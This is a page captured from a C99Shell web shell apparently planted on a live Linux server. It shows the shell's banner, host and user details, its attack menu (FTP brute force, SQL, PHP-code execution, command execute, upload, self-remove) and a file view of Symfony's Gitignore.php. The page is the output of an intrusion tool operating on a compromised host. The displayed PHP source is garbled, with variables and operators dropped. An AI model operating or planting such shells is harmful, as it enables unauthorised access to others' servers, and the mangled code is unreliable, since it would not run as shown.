!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/php/Symfony/Component/Finder/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Gitignore.php (2.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Finder;

/**
 * Gitignore matches against text.
 *
 * @author Michael Voříšek <vorismi3@fel.cvut.cz>
 * @author Ahmed Abdou <mail@ahmd.io>
 */
class Gitignore
{
    
/**
     * Returns a regexp which is the equivalent of the gitignore pattern.
     *
     * Format specification: https://git-scm.com/docs/gitignore#_pattern_format
     */
    
public static function toRegex(string $gitignoreFileContent): string
    
{
        return 
self::buildRegex($gitignoreFileContentfalse);
    }

    public static function 
toRegexMatchingNegatedPatterns(string $gitignoreFileContent): string
    
{
        return 
self::buildRegex($gitignoreFileContenttrue);
    }

    private static function 
buildRegex(string $gitignoreFileContentbool $inverted): string
    
{
        
$gitignoreFileContent preg_replace('~(?<!\\\\)#[^\n\r]*~'''$gitignoreFileContent);
        
$gitignoreLines preg_split('~\r\n?|\n~'$gitignoreFileContent);

        
$res self::lineToRegex('');
        foreach (
$gitignoreLines as $line) {
            
$line preg_replace('~(?<!\\\\)[ \t]+$~'''$line);

            if (
'!' === substr($line01)) {
                
$line substr($line1);
                
$isNegative true;
            } else {
                
$isNegative false;
            }

            if (
'' !== $line) {
                if (
$isNegative xor $inverted) {
                    
$res '(?!'.self::lineToRegex($line).'$)'.$res;
                } else {
                    
$res '(?:'.$res.'|'.self::lineToRegex($line).')';
                }
            }
        }

        return 
'~^(?:'.$res.')~s';
    }

    private static function 
lineToRegex(string $gitignoreLine): string
    
{
        if (
'' === $gitignoreLine) {
            return 
'$f'// always false
        
}

        
$slashPos strpos($gitignoreLine'/');
        if (
false !== $slashPos && \strlen($gitignoreLine) - !== $slashPos) {
            if (
=== $slashPos) {
                
$gitignoreLine substr($gitignoreLine1);
            }
            
$isAbsolute true;
        } else {
            
$isAbsolute false;
        }

        
$regex preg_quote(str_replace('\\'''$gitignoreLine), '~');
        
$regex preg_replace_callback('~\\\\\[((?:\\\\!)?)([^\[\]]*)\\\\\]~', function (array $matches): string {
            return 
'['.('' !== $matches[1] ? '^' '').str_replace('\\-''-'$matches[2]).']';
        }, 
$regex);
        
$regex preg_replace('~(?:(?:\\\\\*){2,}(/?))+~''(?:(?:(?!//).(?<!//))+$1)?'$regex);
        
$regex preg_replace('~\\\\\*~''[^/]*'$regex);
        
$regex preg_replace('~\\\\\?~''[^/]'$regex);

        return (
$isAbsolute '' '(?:[^/]+/)*')
            .
$regex
            
.(!str_ends_with($gitignoreLine'/') ? '(?:$|/)' '');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0067 ]--